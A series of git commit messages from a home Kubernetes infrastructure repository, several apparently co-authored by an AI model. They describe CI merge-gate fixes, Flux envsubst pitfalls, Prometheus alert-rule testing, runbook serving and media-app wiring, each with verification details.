TESTED — ci/tests/gate-decision.test.sh, 47 assertions over the whole decision table: the real
gate.sh and lib.sh run in a throwaway CI_DIR against STUB stage scripts whose exit codes the
suite dictates, so it asserts how the gate REASONS, with no tools, no cluster, no network. All
stages green -> PASS/0; each stage FAILED -> BLOCKED/1; each stage SKIPPED -> never PASS and
non-zero; strict skips -> BLOCKED/1; the spec exception; the declared-gap PASS; the
undetermined-touched-subset paths unchanged (on-base -> NOT APPLICABLE/0, no-base and
diff-failed -> BLOCKED/1); UNDETERMINED outranking NOT APPLICABLE; an unusable subset ->
BLOCKED/1; truthy()'s misspelling direction. 32 of the 47 FAIL against the pre-change gate,
including "l0 SKIPPED: printed 'MERGE GATE: PASS'" — the suite is falsifiable, not decorative.
lib.sh: truthy() is now the one spelling of "is this switch on" and cluster_available() uses it
(the comment claimed that; now it is true), and load_touched_requirements' rc!=0 branch says
what actually happened instead of "proceeding with the full layer".
Refs R-TEST-02, R-TEST-03, R-TEST-06.
Co-Authored-By: Claude Opus 5 <[email protected]>
INCOMPLETE — preserved by the PM after the authoring agent hit the session
rate limit mid-task. Do not merge without finishing and gating it.
Closes the inverse of what this check already covered. It asserted that every
${...} in a substituted path is defined or escaped; it did NOT catch content
containing a literal doubled dollar that the author needs delivered verbatim
and that envsubst silently halves. That shipped a broken CronJob (fixed in
16b7fcd): Postgres dollar-quoting became a single dollar and every
Flux-reconciled run died with a syntax error, while passing review because
verification used kubectl apply, which runs no envsubst.
Introduces a dollar-collapse.allow allowlist so each legitimate use is a
reviewed decision rather than an accident.
WHAT REMAINS: the agent's own next step was proving it catches the CLASS and
not just this instance, via a scratch manifest under a substituted path. Its
scratch fixture (apps/wave-2/zz-scratch-class.yaml and the wave-2
kustomization edit) was deliberately temporary and has been reverted here, so
the fail-proof is NOT yet demonstrated. Also unanswered: brief point 3, on
whether the check can say anything about a manifest verified only through a
non-substituting path.
Co-Authored-By: Claude Opus 5 <[email protected]>
INCOMPLETE — preserved by the PM after the authoring agent hit the session
rate limit mid-task. Do not merge without finishing and gating it.
Problem: in ci/gate.sh a FAILED stage sets BLOCK=1 but a SKIPPED stage only
warns, so the gate prints the words 'not green' and then concludes
'MERGE GATE: PASS' and exits 0. Observed live tonight with prom-rules, and
independently with l0 when the pinned kyverno CLI was absent. That is
fail-open in the one component whose whole job is to fail closed.
The agent was mid-way through adding truthy/strict_skips helpers to ci/lib.sh.
WHAT REMAINS:
- Per-stage justification for which skips must BLOCK and which may degrade
to a non-zero UNDECIDED (spec-immutability and L2/L3 skip for legitimate
environmental reasons and must stay usable locally).
- Whether CI and local can be distinguished reliably here.
- New ci/tests/ suite for the decision logic, and a before/after proof.
- Reconciling with the unmerged branch fix/touched-requirements-fail-closed,
whose 47068ee already makes an unusable touched subset block, and whose
56c242d claims 255 of 476 paths were unmapped in the path->requirement
map — a far larger fail-open that still needs measuring on current main.
Co-Authored-By: Claude Opus 5 <[email protected]>
INCOMPLETE — preserved by the PM after the authoring agent hit the session
rate limit mid-task. Do not merge without finishing and gating it.
Problem: qBittorrent 5.1.2 has no WebUI\Username or WebUI\Password_PBKDF2 in
its config, so it mints a NEW temporary admin password on every process start
and announces it only on stdout. Two consequences, both real: the Sonarr and
Radarr download clients configured earlier will silently stop working at the
next pod restart, and a human operator has no stable login either.
Adds a SOPS-encrypted qbittorrent-bootstrap Secret (verified encrypted: both
values are ENC[AES256_GCM]) plus the catalog/rendered wiring to consume it.
WHAT REMAINS:
- The agent's last note: the postStart hook works, but its output never
reaches kubectl logs, so it was switching to the marker-file logging
pattern gitea's hook already uses. That change is NOT here.
- The Secret exists on prod as kubectl-client-side-apply, i.e. live-only;
merging adopts it into git.
- Sonarr's and Radarr's stored download-client passwords were to be updated
to the durable value — NOT done, so the chain may break on restart until
it is.
- The required proof is unfinished: restart the pod, then show the WebUI
accepts the credential AND both arrs still report isValid: true.
Co-Authored-By: Claude Opus 5 <[email protected]>
kube-prometheus-stack does not scrape flux-system: the controllers are
bootstrapped, expose no Service, and no chart value covers them. So every
gotk_* alert rule in platform/monitoring/alerts.yaml could never fire —
verified on prod, count({__name__=~"gotk.*"}) returned nothing. A repo whose
entire delivery model is Flux had no alerting on reconciliation failing, a
Kustomization erroring, or a resource left suspended.
Proven live before landing: with this PodMonitor applied, gotk_suspend_status
returns 39 series and gotk_reconcile_condition 117, and FluxResourceSuspended
actually fired on a deliberate test suspension — evidence the rule is live,
not merely present.
Extracted from the wider inert-alert audit on
fix/scrape-targets-for-inert-alerts, which stalled unfinished. This is the
self-contained, verified half; Longhorn and cert-manager metrics are still
ABSENT and their alerts remain inert. It also adopts the object into git: it
existed on prod only as kubectl-client-side-apply, so a rebuild would have
lost it.
Co-Authored-By: Claude Opus 5 <[email protected]>
The SQL asserted convergence in a dollar-quoted PL/pgSQL DO block. That
cannot survive this delivery path: the ConfigMap is rendered through Flux's
postBuild substitution, and envsubst collapses a doubled dollar into one, so
Postgres received a half-quoted DO and failed with a syntax error. Three
scheduled runs had left nine Error pods in nextcloud-db.
It passed verification because it was hand-applied with kubectl, which runs
no envsubst — the defect only existed once Flux owned the object. The GRANT
on the first line still succeeded, so the privilege held and the blind spot
stayed closed; what was broken was the assertion meant to prove it, which is
the part that makes a silent regression visible.
Rewritten in plain SQL with no dollar sign anywhere in the file, comments
included. Escaping by doubling again would also work and would be the next
person's trap. has_database_privilege()::int is 1 or 0, so the division
raises division_by_zero and ON_ERROR_STOP=1 fails the Job; the divisor is
not constant so it cannot be folded away at plan time.
Co-Authored-By: Claude Opus 5 <[email protected]>
It had been permanently SKIPPED because it expected bootstrap/standup.sh,
which never landed on main — planned, never merged, still living only on the
unmerged prod-standup branches along with the 2026-09-05 incident it came
from. Dropping the real script in and running the old check produced FAIL
2/34: it would have false-blocked the very merge that landed its own input.
Now split into the half that needs no guard (no overlay ships a
placeholder-shaped effective cluster-vars value; an empty value must be
STATED by the overlay, not inherited in silence; a loud base sentinel must
be explicitly overridden) and the half that self-activates. The guard is
discovered by CONTENT — any tracked *.sh defining <name>_is_placeholder() —
so landing one anywhere activates the second half with no edit here, and two
definitions is a failure. The check never exits 3 again.
Unscoped L0 goes 13 PASS / 1 SKIP -> 14 PASS / 0 SKIP.
All 46 runbook_url annotations pointed at https://<apex>/runbooks/<name>
and every one returned 404 — there was no runbooks/ directory and no route.
Every alert that reached a human handed them a dead link at the moment they
needed it.
Runbooks are now served from their own non-gating tier at the apex prefix,
PUBLIC on purpose: gating them behind Keycloak would make keycloak-down
unreadable exactly when Keycloak is down, which is a loop with no exit. The
new L0 guard checks both directions — a runbook_url with no file, and a file
not wired into the generator — and it caught a live one on contact with
main: CNPGPrimariesCoLocated had shipped hours earlier pointing at a runbook
that did not exist.
324 lines of mutation-checked promtool tests had landed with nothing to
execute them: promtool was not in the pinned toolchain, so the coverage was
present and enforced by nothing — the failure mode this repo keeps hitting.
promtool 3.14.0 is now pinned in both versions.env files (matching prod's
Prometheus, verified against the running image) and baked into the
container. The two competing harnesses are consolidated into one, and the
two competing wirings into one: the bespoke ci/prom-rules.sh stage is
deleted in favour of a scope-declaring conformance test, because a
hand-written stage running one hardcoded script is exactly the pattern
b9f8807 just removed. Missing promtool is exit 3 — UNWIRED, never green.
51 of 58 alert rules still have no unit test; that gap is a shrink-only
ratchet that fails if it grows, rather than a blanket FAIL that would get
disabled or a report nobody reads.
`conformance/tests/l0-static/placeholder-guard-coupling` (R-ENV-02, R-STATE-03) exited 3
SKIPPED on every gate run since it landed, because its check keyed its whole existence on
`bootstrap/standup.sh`. Measured, not assumed: that file has NEVER been on `main` — there is
no deletion commit for it anywhere; it landed only on unmerged prod-standup branches
(`work/prod-standup-campaign`, `prod/*`, `feat/prod-hardening`). It was planned and never
merged, not removed. SKIPPED is not green, and a permanently-skipped incident-derived test is
the quiet version of the failure it was written to prevent.
The skip was also hiding a RED. Run against the real `standup.sh` from
`work/prod-standup-campaign`, the old check FAILED 2 of 34 assertions — false positives from
treating the empty string as placeholder-shaped for knobs cluster-vars authors empty on
purpose (`BACKUP_CREDENTIALS_SUFFIX`, `VELERO_BACKUP_PREFIX`, both `""` on dev and both
documented there as load-bearing). It would have false-blocked the merge landing its own input.
NOT deleted — the hazard is not gone. Split into two halves, one of which needs no guard:
HALF A (always runs): no environment overlay ships a placeholder-shaped EFFECTIVE
cluster-vars value; an empty effective value is STATED by the overlay rather than inherited
in silence; a LOUD base sentinel is explicitly overridden by every overlay. This is the
2026-09-05 outcome asserted at the source instead of at the guard — if prod's
S3_BACKUP_ENDPOINT is never a placeholder, velero cannot be pointed at a hostname that does
not exist. Input surface is `clusters/`, all of it on `main`.
HALF B (self-activating): the real predicate extracted and executed against those same
values, the consumer trace, and the mid-string anchoring property.
The check NEVER exits 3 again, and the guard is DISCOVERED by content rather than hardcoded:
any tracked `*.sh` defining `<name>_is_placeholder()` is found, so a guard landing at
`bootstrap/standup.sh` — or moved into a sourceable library, the remedy the check already
recommends — activates HALF B with no edit to the test. Two files defining it is a FAIL. When
no guard exists the gap is printed loudly every run instead of swallowed as a skip.
LOUD vs EMPTY is the correction that makes it honest in both modes: a loud placeholder is
always a defect in an overlay, while `""` is held to the explicitness rule instead — and still
counts as a placeholder for a knob a guard covers, because a `""` case-arm is the guard
author's declaration that empty is not a usable target.
Proof, all reverted: 84 assertions and exit 0 on `main`; prod S3_BACKUP_ENDPOINT set to the
literal `https://TBD-R2-ACCOUNT-ID.r2.cloudflarestorage.com` FAILS (A1); deleting dev's
explicit VELERO_BACKUP_PREFIX op so it inherits `""` FAILS (A2); a LOUD base BULK_NFS_SERVER
with prod's override deleted FAILS 2/86 (A1+A3); and with the real `standup.sh` present,
reverting `s3_is_placeholder` to the `TBD-*` PREFIX glob FAILS 12/110 (B3 anchoring). With the
pristine `standup.sh` the check PASSES at 110 assertions where the old one failed 2 of 34.
L0 layer: 14 checks, 14 PASS, 0 SKIP, 0 FAIL (was 13 PASS / 1 SKIP). Coverage unchanged —
R-ENV-02 and R-STATE-03 both still list this test, 49/51 with the same 2 gaps.
Also:
* `ci/touched-requirements.sh` — `bootstrap/*` -> R-STATE-03 R-GITOPS-01 is KEPT, its stale
comment corrected. It claimed standup.sh "carries the placeholder guards", describing a
file that is not here; R-STATE-03 there is ANTICIPATORY. Deleting the entry would leave the
change that lands a placeholder guard selected by nothing.
* `ci/tests/touched-requirements.test.sh` — new path-map section (12 assertions, was 8)
locking `bootstrap/*` and `clusters/*`, so removing either entry is a test failure rather
than a silent loss of selection. All three ci/tests pass (12 + 31 + 15).
* `docs/BULK-NFS-STORAGE.md` §7 — its "nothing in the gate currently refuses a
placeholder-shaped overlay value" is no longer true; corrected.
* Scope re-audited: still deliberately requirement-scoped, not whole-repo. Every path that
can break it attributes a requirement it declares.
Co-Authored-By: Claude Opus 5 <[email protected]>
The serving route's comment claimed that because no Gateway ext-authz
attachment exists, every forward-auth route is 'in practice reachable
unauthenticated today'. That is wrong, and wrong in a dangerous direction
for a document an operator reads during an incident.
Enforcement here is PER-POD, not gateway-level: each of the five services
declaring auth: forward-auth (pihole, jackett, qbittorrent, radarr, sonarr)
publishes both its app port and 4180 on its Service, and its HTTPRoute
targets :4180 — the oauth2-proxy sidecar. Verified on prod. The app port
remains reachable in-cluster on purpose, which is how sonarr/radarr drive
qBittorrent's API, and Cilium default-deny governs that path.
The public-by-design decision for this route is unchanged and still correct;
what changes is that it is genuinely the exception rather than one open route
among many. Headlamp's exclusion is likewise deliberate (native OIDC with
per-user id_token forwarding and no ServiceAccount cluster rights).
Co-Authored-By: Claude Opus 5 <[email protected]>
The CNPG alert unit tests (324 lines, mutation-checked) were run by NOTHING. promtool was
not in the baked toolchain, no gate stage evaluated any *.promtool-test.yaml, and the only
runner `curl | tar -xz`'d a promtool release from GitHub at TEST-RUN time if one was
missing. Hours later a second, independent harness landed for the Velero rules
(platform/monitoring/tests/) with its own fallback — a `podman run` of
quay.io/prometheus/prometheus. So the repo had two harnesses, two acquisition paths, and
coverage that looked present and was enforced nowhere: the exact failure mode that had just
produced a permanently-firing CNPG alert and a structurally inert Velero alert.
PROMTOOL IS NOW PINNED LIKE EVERY OTHER TOOL. PROMTOOL_VERSION=3.14.0 in
infra/devcontainer/versions.env and ci/versions.env (the two stay in lockstep, per the
repo's rule), baked by the Containerfile from the prometheus release tarball (promtool ships
inside it), recorded in /etc/dev-toolchain-versions, passed by dev.sh, and installed for the
l0 stage by .gitea/workflows/scripts/install-tools.sh so the CI runner is not permanently
SKIPPED. The pin is not free-floating: promtool IS the rule engine, so it tracks the
Prometheus prod actually runs — verified against the live cluster, not assumed:
kubectl --context k3s-prod get prometheus -n monitoring -o jsonpath='{.items[*].spec.version}'
-> v3.14.0-distroless (image quay.io/prometheus/prometheus:v3.14.0-distroless)
ONE HARNESS. platform/cnpg/run-alert-tests.sh is folded into
platform/monitoring/tests/run.sh, which now covers every PrometheusRule in the repo that has
tests, via two conventions it discovers automatically: `<manifest>.promtool-test.yaml`
beside its manifest (cnpg), and `<component>/tests/*.test.yaml` over that component's
manifests (monitoring). It writes the flattened rules under whatever name each test file's
own `rule_files:` declares, so no test file needs to know the harness exists, and it
`promtool check rules` first — a rules file that does not parse would make every unit test
pass vacuously by finding no rules at all. The cnpg script's reasoning is preserved: why a
CR must be flattened (`.spec.groups`, never re-typed), and why generated files go to a temp
dir. Its `${BASE_DOMAIN}` substitution is dropped in favour of extract_rules.py's verbatim
placeholders, with the trade-off recorded there — the hazard it guarded against is addressed
by the temp dir, and verbatim leaves one transformation fewer between the shipped rule and
the rule under test.
NO ENGINE IS ACQUIRED AT RUN TIME any more — not the GitHub release, not the container
image. Not because a pinned download is unusual here (the Containerfile downloads every tool
it bakes) but because those two decided the version, the network and the machine SILENTLY,
at test time, on whatever host ran the tests; and each quietly turned "the toolchain has no
promtool" into a green run, which is how the toolchain stayed without one. Missing promtool
is exit 3 (UNWIRED, never green); a PROMTOOL= that does not resolve is exit 2.
ONE WIRING: conformance/tests/l0-static/alert-rules-unit-tested, NOT a gate stage. The
`prom-rules` stage (ci/prom-rules.sh + its Makefile target + ci/gate.sh entry) is deleted:
it is the bespoke-per-check pattern b9f8807 had just removed from ci/l0.sh, and the
declarative replacement gives what a hand-written stage cannot — selection by
`conformance.home.k3s/scope: "whole-repo"` (asserted: the test is selected even under a
requirement filter matching nothing), requirement-attributed JUnit/coverage/ledger evidence,
and run_l1_offline.py's rule that a SKIP of a scope-declaring check is the runner's rc 3.
The scope declaration is load-bearing here: touched-requirements.sh keys apps/* to nothing
and platform/monitoring/* to R-OBS-01/02, never R-OBS-04, so a new untested PrometheusRule
would otherwise be gated by nothing.
The check asserts the pins and their lockstep, that the image bakes and records promtool,
that the promtool IN USE reports exactly the pin (a FAILURE, not a skip: the wrong engine
still prints SUCCESS), that exactly ONE harness exists and none fetches an engine, that
every rule-unit test file passes, and — on every run — that the harness CAN fail, by putting
a synthetic rule through it twice with one expectation mutated.
MISSING TESTS ARE A RATCHET, deliberately, and the reasoning is in the check's header. 51 of
58 alert rules have no unit test. Failing on all of them makes the gate red until ~51 tests
exist, so it gets disabled and protects nothing; merely reporting is exactly how the CNPG
tests came to be enforced by nothing. So the gap is DECLARED in the check as a shrink-only
register, printed with counts every run (13 alert files nothing tests at all; 35 named
alerts inside covered files that nothing asserts on), and it cannot grow: a new
PrometheusRule, or a new alert in an already-covered file, FAILS without a test, and a stale
entry FAILS too. A missing test is never an exit-3 skip — SKIPPED is reserved for the one
genuine environment gap, promtool being absent.
PROVEN, in the rebuilt image (promtool 3.14.0):
* both suites pass through the single harness: cnpg 6 rules, monitoring 36 rules, SUCCESS.
* the check passes: 95 assertions, 7/58 alert rules unit-tested, 13 declared gap files.
* NOT VACUOUS, twice over. Shortening CNPGPrimariesCoLocated's `for: 30m` to 5m turns it
red (pending expected at 25m/29m, got firing), reverted. Adding an untested
PrometheusRule (platform/kubevirt/probe-alerts.yaml) turns it red on the ratchet,
removed. The harness's own mutation self-test runs on every invocation.
* the scope mechanism selects it: `run.sh --layer l0 --requirements r-nosuchreq-99
--include-scope whole-repo --print-selection` lists alert-rules-unit-tested.
Co-Authored-By: Claude Opus 5 <[email protected]>
Investigating the path disagreement found the larger defect: sonarr and
radarr each returned [] from /api/v3/downloadclient — Completed Download
Handling had never been wired up, not merely broken. Both now have
qBittorrent configured plus a remote path mapping /downloads/ ->
/media/downloads/, proven with a real completed torrent and a negative
control: same torrent, same client, mapping absent gave an unresolvable
/downloads/... and mapping present resolved the real file at inode 36144.
This state lives in each arr's database, NOT in git — a rebuild from git
does not restore it. Recorded in DECISIONS-LOG with the recommendation to
close it properly via path agreement instead.
Three corrections after rebasing onto main.
1. THE GUARD CAUGHT A REAL ONE ON ITS FIRST CONTACT WITH main. main had gained
`CNPGPrimariesCoLocated` (platform/cnpg/alerts.yaml) pointing at
/runbooks/cnpg-primary-spread, with no runbook. The check failed the rebase exactly as
designed — 46 annotations, 35 names, 34 present — naming both the missing file AND the
missing configMapGenerator entry. runbooks/cnpg-primary-spread.md now exists: what
co-located primaries actually cost here (blast radius, not an outage, because
instances: 3 + required anti-affinity), why the drift is uncorrectable-by-declaration
(CNPG has no primary-placement field), the readiness gate that keeps the rule quiet
during a real node outage, and the ~9s-per-database switchover rebalance, one cluster
at a time. The 2026-09-07 outage in which all three primaries sat on one node is the
reason the alert exists at all.
2. WHOLE-REPO SCOPE, NOT A HAND-WRITTEN STAGE. main's refactor replaced ci/l0.sh's
per-check "UNCONDITIONAL" stages with a declaration:
`conformance.home.k3s/scope: "whole-repo"`, unioned into every gate run by Stage 3b's
`--include-scope`. My +38-line Stage 3f is removed (ci/l0.sh is now byte-identical to
main) and the annotation is declared instead. Assertion (7) of the check was rewritten
to match: it no longer asserts its own path appears in ci/l0.sh — it asserts the test
DECLARES the scope and that ci/l0.sh still passes --include-scope, since neither half
alone makes the check load-bearing. That matters here because
ci/touched-requirements.sh maps platform/monitoring/* to "R-OBS-01 R-OBS-02", not
R-OBS-04, and maps platform/kubevirt/* and runbooks/* to nothing at all.
3. A FACTUAL CORRECTION IN ALL 35 RUNBOOKS. Every page claimed `dev.sh` defaults its
current-context to k3s-dev. main's `9b4744d fix(devcontainer): dev.sh defaults to
prod` made that false, and a runbook that misstates which cluster a command talks to is
worse than one that says nothing. The pages now say what is durably true: the default
has already changed once, so naming `--context k3s-prod` is what makes a command mean
the same thing next month, and the per-invocation banner is there to be read. The
check's own failure message was corrected the same way.
Re-verified after all three: check green at 374 assertions (46 annotations, 35/35 runbooks
present, 35/35 projected), re-applied to prod, and re-probed in-cluster through the
Gateway — node-down, keycloak-down, keycloak-client-secrets, cnpg-archiving,
longhorn-faulted, vpn-down, node-io and cnpg-primary-spread all HTTP 200 with
text/plain; charset=utf-8 and 8.9-12.1 KB of real body; /runbooks/ index 200; an unknown
name 404s with a pointer rather than a blank page; and homepage still answers the apex `/`,
confirming Gateway API longest-path precedence.
Full merge gate: PASS (spec-immutability, lint, l0, render-golden, l1 all green;
prom-rules SKIPPED for want of promtool in the image; L2/L3 SKIPPED, no cluster).
Co-Authored-By: Claude Opus 5 <[email protected]>
qBittorrent reports finished releases at /downloads/<name>; sonarr and radarr
see the same inodes at /media/downloads/<name>, so Completed Download Handling
could never resolve what the client handed it. Configured, on prod, via each
app's own HTTP API:
* download client qBittorrent -> qbittorrent.qbittorrent.svc.cluster.local:8080
(it did not exist in EITHER arr: both /api/v3/downloadclient returned [])
* Remote Path Mapping /downloads/ -> /media/downloads/ for that host
Both built from each app's /downloadclient/schema, matched on identity before
writing, and re-running creates nothing. downloadclient/testall reports
isValid=true in both. Proven with a negative control: Sonarr's queue showed
outputPath=/downloads/... with the mapping deleted and /media/downloads/...
with it present, for the same completed torrent.
This state lives in sonarr.db / radarr.db on the config PVCs, NOT in git — a
rebuild from git alone does not restore it. Recorded as a wart, with path
agreement (repointing SavePath to /media/downloads) recommended as the durable
fix and put to the operator rather than taken unilaterally.
Co-Authored-By: Claude Opus 5 <[email protected]>
Every platform-health alert rule carries
`runbook_url: "https://${BASE_DOMAIN}/runbooks/<name>"` — 42 annotations over 34
distinct names, across platform/monitoring/alerts.yaml,
platform/monitoring/pvc-capacity-alerts.yaml, platform/cnpg/alerts.yaml and
platform/kubevirt/alerts.yaml. There was no runbooks/ directory and no HTTPRoute
serving that path: an in-cluster probe of
https://home.keithjackson.dev/runbooks/node-down returned HTTP 404. Every alert that
reached a human handed them a dead link at the exact moment the documentation is read,
and the annotation made it look solved — the same green-surface-over-absent-mechanism
class as the import Job that reported success while storing placeholder secrets.
No alerts.yaml is touched and no runbook_url value changes. The existing URL scheme is
made to resolve instead.
WHAT LANDS
- runbooks/<34>.md — one per name, each grounded in this cluster's real topology and,
where one exists, its real incident history: the 2026-09-07 k3s-prod-1 etcd I/O
starvation (measured PSI 11.36 vs 0.75/1.29, the exact journal lines, the four
mechanisms proven inert), the Longhorn reboot tax and the freeze/thaw of
concurrent-replica-rebuild-per-node-limit, Cilium's once-resolved egress interface
cache (Ifindex 3 against a live 1780) and the absence of OSS failover, the CNPG
38-hour ContinuousArchiving=False with its measured 6.8 MiB/h disk-full clock and the
2026-09-12 aggregation-scope fix, the 2026-09-06 Keycloak lockout in which all 12
clients held literal placeholder secrets behind an entirely green cluster, the Velero
R2 x-amz-tagging NotImplemented incompatibility and its v1.14.3-rc.2 pin, and swap
re-enabling itself across reboots via systemd-gpt-auto-generator.
Each page states what the alert means HERE, the first diagnostic commands, likely
causes ordered by probability with a remediation each, and when to escalate or stop.
- Every page uses FULLY-QUALIFIED resource names and says why: three CRDs register the
kind `Backup` here, the bare short name resolves to Longhorn's (zero objects), so
`kubectl get backup -A` prints "No resources found" on a cluster holding 6 Velero and
27 CNPG backups. Acting on that false negative is how a CLI quirk becomes data loss.
- Every page states that kubectl only works via
`infra/devcontainer/dev.sh run bash -c '...'` with an explicit `--context k3s-prod`,
because dev.sh defaults its current-context to k3s-dev.
- Pages also record which alert groups are INERT today (measured 2026-09-13: no
Longhorn, cert-manager, Flux-controller or Hubble scrape job exists, so 13 rules
evaluate against nothing) so nobody reads their silence as health.
SERVING — runbooks/serving/ plus clusters/base/runbooks.yaml
A two-replica nginx-unprivileged serving a ConfigMap generated from runbooks/*.md, at
the apex `/runbooks` prefix, in its own non-gating post-platform Flux tier
(dependsOn platform-config, wait:false) — the platform/homepage pattern, file for file.
- The service catalog cannot express this route: ingressRoutes[].host is pattern-bound
to a single DNS label plus the apex, so the bare apex is unrepresentable, and there is
no path field.
- Rejected: redirecting to the Gitea web UI. A runbook is read when the platform is
broken, and Gitea is an app-tier workload whose own dependencies several of these
runbooks document; Gateway API's RequestRedirect also has no "append .md" modifier,
so it would need 34 hand-maintained ReplaceFullPath rules.
- configMapGenerator maps each file to an EXTENSIONLESS key (node-down=node-down.md),
so /runbooks/node-down is a plain static lookup with no rewrite rule. Served as
text/plain: the namespace has DNS-only egress, so a CDN markdown renderer could not
load anyway.
- The tier declares NO postBuild.substituteFrom, deliberately: envsubst would run over
the prose and silently empty every ${...} shell example (it fails open — the 2026-09-01
emptied Cilium k8sServiceHost). The HTTPRoute omits `hostnames:` and inherits the
https-apex listener's, so nothing needs substituting.
AUTH — PUBLIC, deliberately
auth-mode=none. Gating these pages behind oauth2-proxy/Keycloak would make
runbooks/keycloak-down unreadable when Keycloak is down and
runbooks/keycloak-client-secrets unreadable during the exact 2026-09-06 failure mode.
An operator who cannot log in is this route's primary reader. Content is operational
procedure only, no secrets. The rationale is recorded in an annotation on the HTTPRoute
so the route is left OUT of the Gateway ext-authz attachment when forward-auth
enforcement lands.
PROVEN — in-cluster probe through the Gateway on prod
/runbooks/node-down HTTP 200 8613 bytes text/plain; charset=utf-8
/runbooks/keycloak-down HTTP 200 9378 bytes text/plain; charset=utf-8
/runbooks/cnpg-archiving HTTP 200 11729 bytes text/plain; charset=utf-8
/runbooks/longhorn-faulted HTTP 200 9135 bytes text/plain; charset=utf-8
/runbooks/vpn-down HTTP 200 11092 bytes text/plain; charset=utf-8
/runbooks/backup-failure HTTP 200 9604 bytes text/plain; charset=utf-8
HTTPRoute Accepted by io.cilium/gateway-controller on sectionName https-apex; the
`/runbooks` prefix wins over homepage's apex `/` by Gateway API longest-path precedence.
GUARD — conformance/tests/l0-static/alert-runbooks-resolvable (R-OBS-04)
363 offline assertions. It checks BOTH halves, because the regression is silent in both
directions: an alert with a new runbook_url and no runbook links to a 404, AND a runbook
committed without its configMapGenerator entry is in git, reviewed, merged, and still
404s in the cluster. Also asserts a quality floor so a stub cannot make the link look
fixed, and that route/listener/nginx prefix agree with the annotations.
Proven to fail, then reverted: a bogus runbook_url (2 FAIL), a runbook removed from the
generator (1 FAIL), and a 31-byte stub (7 FAIL).
Co-Authored-By: Claude Opus 5 <[email protected]>
VeleroNoRecentBackup could not see the failure that actually happened:
velero-daily sat paused having never produced a successful backup, so
velero_backup_last_successful_timestamp{schedule=...} did not exist and
time() - <absent series> yields no series. Prod had no volume backups and
nothing alerted, further masked by a resources-only schedule succeeding
daily. No velero_* metric describes a Schedule OBJECT, proven by scraping a
throwaway paused Schedule and finding zero lines, so this exposes the CRs
via kube-state-metrics customresource_state and keys on
defaultVolumesToFsBackup — the property, not a name list. Adds the repo's
first prometheus rule-unit-test harness, mutation-checked both ways.
The gate had been accreting one bespoke UNCONDITIONAL stage per whole-repo
L0 test (3c/3d/3e), each repeating the same ~12-line rationale and each one
something the next author had to remember to write. Forget it and the test
runs only when some unrelated requirement happens to be touched.
Tests now declare conformance.home.k3s/scope: whole-repo and run.sh unions
them in via --include-scope; the three stages are deleted. 10 of 13 tests
are whole-repo, 3 stay path-scoped with the path map widened instead
(infra/* -> R-ENV-01, ci/* -> R-TEST-06). A new meta-test makes the bespoke
pattern fail the gate if it creeps back, and a change under
conformance/tests/<test>/ now attributes that test's own requirements, so
weakening a test is gated by what it certifies.
rc-3 (SKIPPED is UNWIRED, not green) is preserved and demonstrated; the
incident narratives moved into the tests they describe rather than being
deleted. Gate cost for a scoped change rises 20.7s -> 41.8s, a ceiling any
empty-touched-set change already paid.
VeleroNoRecentBackup could not fire for the failure mode that actually happened.
`(time() - velero_backup_last_successful_timestamp{schedule!=""}) > 24*3600` is the
right SHAPE — per-schedule, un-aggregated — but Velero only creates that series once
a backup for the schedule SUCCEEDS, and `time() - <absent series>` yields no series.
So it detects "backed up once, then stopped" and is structurally INERT on "never
backed up". Prod ran with `velero-daily` (the schedule carrying VOLUME DATA) paused
and never-successful: no volume backups at all, nothing alerted, and it was masked
because `velero-daily-resources-only` completed cleanly every 03:00, so every other
backup signal read green while only Kubernetes objects were protected.
A PromQL-only fix is impossible, verified rather than assumed: velero v1.18.1 exports
35 velero_* metric names and every one carrying a `schedule` label is created by a
backup ATTEMPT, not by the Schedule object. A throwaway `paused: true` Schedule on
prod produced ZERO velero_* series, and nothing exposes `spec.paused`. The fact is
not in the TSDB, so the Schedule CRs are exported via kube-state-metrics'
custom-resource-state collector — the path this repo already uses for
kube_node_labels — as kube_velero_schedule_{created,paused,protects_volume_data,info}.
Proven by running KSM v2.20.0 with this exact config against prod's API: the CRD
list/watch rule the chart adds is MANDATORY, not cosmetic — without it KSM emits the
CRS metrics as an empty set, silently.
Three rules, all keyed on PROPERTIES rather than schedule names:
* VeleroScheduleNeverBackedUp (critical) — a Schedule older than 36h with no
successful backup ever. The 36h grace comes from creationTimestamp so a newly
added schedule is not paged before its first run is even due.
* VeleroSchedulePaused (warning) — the direct root-cause signal; a paused backup
schedule must never be silently indefinite.
* VeleroNoVolumeDataBackup (critical) — THE ANTI-MASKING RULE. Fires unless some
schedule with spec.template.defaultVolumesToFsBackup=true succeeded in 36h, so a
healthy resources-only schedule can never make the platform look protected.
Reading the property that DEFINES volume protection (not a name list) matches
platform/velero/volume-policies.yaml and survives renames. `or vector(0)` is
load-bearing: `count(<empty>) == 0` returns no series and would be inert —
absence of the exporter is deliberately the alarm.
Adds the repo's first Prometheus rule-unit-test harness (platform/monitoring/tests/,
wired as the `prom-rules` gate stage). It flattens the COMMITTED PrometheusRule CRs —
never a copy — and pins every rule in the group both ways: quiet on today's healthy
prod state, firing on the reconstructed bad state, with `for:` durations asserted.
Two mutation checks confirm the tests are not vacuous: dropping `or vector(0)` and
breaking the `unless on (schedule)` join each turn the suite red. This is the tool
that makes both of this repo's recurring alert bugs — permanently-firing and
structurally inert — provable offline, which neither yamllint, Kyverno, nor a healthy
cluster can do.
Proof of the fix is by construction; the live metrics cannot show it any more, because
`velero-daily` was unpaused on 2026-09-12 and has since completed 2492/2492 items.
The throwaway probe Schedule and the probe KSM deployment were deleted and the
deletion confirmed; `velero-daily` remains unpaused.
Co-Authored-By: Claude Opus 5 <[email protected]>
R-TEST-03 runs the conformance subset a change TOUCHES. That has one blind spot, and it
is the worst-shaped kind: an invariant that quantifies over the whole tracked tree — or
over subtrees ci/touched-requirements.sh's coarse path map keys to NOTHING (apps/, infra/,
most of platform/) — cannot be selected BY the requirements a change touches, because the
change most likely to break it attributes no requirement at all. Requirement-scoped
selection then filters the check out of exactly that change.
The repo's answer had been a hand-written "UNCONDITIONAL" stage per such check in
ci/l0.sh: 3c flux-postbuild-substitution, 3d keycloak-client-secret-reconciler, 3e
bulk-tier-distinct-from-replicated. Three near-identical 12-line rationales, three
hardcoded check.sh paths, three copies of the same rc 0/3/* case block — and worst, a
mechanism that failed SILENTLY, because whoever added the NEXT whole-repo invariant had
to REMEMBER to write a stage, and if they forgot the check ran only when some unrelated
requirement happened to be touched.
A test now DECLARES the scope of its invariant and the runner enforces it:
metadata:
annotations:
conformance.home.k3s/scope: "whole-repo"
* conformance/lib/common.sh conf_dirs_for_scope(s) resolves the annotation. Carries the
general rationale, once, instead of per stage.
